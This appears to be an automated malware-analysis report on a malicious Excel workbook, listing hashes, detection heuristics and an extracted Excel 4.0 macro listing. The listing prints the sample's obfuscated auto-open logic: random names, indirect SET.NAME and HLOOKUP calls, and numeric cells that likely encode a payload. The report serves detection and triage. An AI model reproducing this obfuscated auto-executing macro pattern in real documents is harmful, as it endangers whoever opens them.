Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0d1d2fce0b5170d2…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:39:21 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 26315922b3cb5913737eea351f3379bd SHA-1: e7dedb6ae2c82e0ff483b76cd40023c57a77edba SHA-256: 0d1d2fce0b5170d23e2d3ee65903f17f618e09327da632930eba3db57fde638f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6867 bytes
SHA-256: a4c1648c9ed1a3fae047b2e366a810c8a04b4d9b58d1199b2985a21506a36c95
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  blBeUeTlpR
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H162 
' 0018     27 LABEL : Cell Value, String Constant - ckGBWnsHFSlW len=0 
' 0018     20 LABEL : Cell Value, String Constant - dhKUv len=0 
' 0018     25 LABEL : Cell Value, String Constant - dNbYKFvFUV len=0 
' 0018     26 LABEL : Cell Value, String Constant - dTwCkgAEPwR len=0 
' 0018     21 LABEL : Cell Value, String Constant - eggauO len=0 
' 0018     24 LABEL : Cell Value, String Constant - FknijZKgv len=0 
' 0018     26 LABEL : Cell Value, String Constant - HxyxUxvmFPv len=0 
' 0018     21 LABEL : Cell Value, String Constant - MFswkv len=0 
' 0018     20 LABEL : Cell Value, String Constant - mvsqH len=0 
' 0018     21 LABEL : Cell Value, String Constant - mwgnDD len=0 
' 0018     22 LABEL : Cell Value, String Constant - nnbqNpj len=0 
' 0018     20 LABEL : Cell Value, String Constant - OzqcT len=0 
' 0018     22 LABEL : Cell Value, String Constant - QqxeSeV len=0 
' 0018     21 LABEL : Cell Value, String Constant - rfSJkB len=0 
' 0018     27 LABEL : Cell Value, String Constant - tGwLhMfxFtsE len=0 
' 0018     22 LABEL : Cell Value, String Constant - twlppoz len=0 
' 0018     24 LABEL : Cell Value, String Constant - TYiYIVTjo len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZMxAiqAOsHw len=0 
' 0018     25 LABEL : Cell Value, String Constant - zoKduZqorS len=0 
' 0018     23 LABEL : Cell Value, String Constant - zqrJKRMq len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  blBeUeTlpR,H66,"SET.NAME("OzqcT",0+VALUE("0"))",""
'  blBeUeTlpR,H71,"SET.NAME("mwgnDD",OzqcT)",""
'  blBeUeTlpR,H73,"SET.NAME("zqrJKRMq",OzqcT)",""
'  blBeUeTlpR,R75,"",-722.00000000000000000000
'  blBeUeTlpR,R76,"",-854.00000000000000000000
'  blBeUeTlpR,R77,"",-476.00000000000000000000
'  blBeUeTlpR,H78,"SET.NAME("ZMxAiqAOsHw",COUNTA(zoKduZqorS))",""
'  blBeUeTlpR,R78,"",-712.00000000000000000000
'  blBeUeTlpR,R79,"",591.00000000000000000000
'  blBeUeTlpR,H80,"SET.NAME("eggauO",COUNTA(TYiYIVTjo))",""
'  blBeUeTlpR,R80,"",-302.00000000000000000000
'  blBeUeTlpR,H84,[],""
'  blBeUeTlpR,H86,"SET.NAME("rfSJkB","")",""
'  blBeUeTlpR,H90,"mwgnDD",""
'  blBeUeTlpR,H92,"SET.NAME("twlppoz",HLOOKUP("*",zoKduZqorS,mwgnDD,FALSE))",""
'  blBeUeTlpR,H97,"tGwLhMfxFtsE",""
'  blBeUeTlpR,H102,"SET.NAME("MFswkv",OzqcT)",""
'  blBeUeTlpR,H104,[],""
'  blBeUeTlpR,H106,"MFswkv",""
'  blBeUeTlpR,H111,"FknijZKgv",""
'  blBeUeTlpR,H115,"nnbqNpj",""
'  blBeUeTlpR,H120,"ckGBWnsHFSlW",""
'  blBeUeTlpR,H122,"SET.NAME("mvsqH",VALUE(HLOOKUP("*",TYiYIVTjo,ckGBWnsHFSlW,FALSE)))",""
'  blBeUeTlpR,H126,"dNbYKFvFUV",""
'  blBeUeTlpR,H128,"rfSJkB",""
'  blBeUeTlpR,H133,"zqrJKRMq",""
'  blBeUeTlpR,H136,NEXT(),""
'  blBeUeTlpR,H141,"QqxeSeV",""
'  blBeUeTlpR,H145,[],""
'  blBeUeTlpR,H150,"dTwCkgAEPwR",""
'  blBeUeTlpR,H155,NEXT(),""
'  blBeUeTlpR,H157,RETURN(),""
'  blBeUeTlpR,H180,"SET.NAME("HxyxUxvmFPv",H66)",""
'  blBeUeTlpR,H185,"zoKduZqorS",""
'  blBeUeTlpR,H189,"SET.NAME("TYiYIVTjo",R40C11)",""
'  blBeUeTlpR,H194,"SET.NAME("dTwCkgAEPwR",204)",""
'  blBeUeTlpR,H198,"SET.NAME("dhKUv",8)",""
'  blBeUeTlpR,H203,HxyxUxvmFPv(),""
'  blBeUeTlpR,H204,HALT(),""

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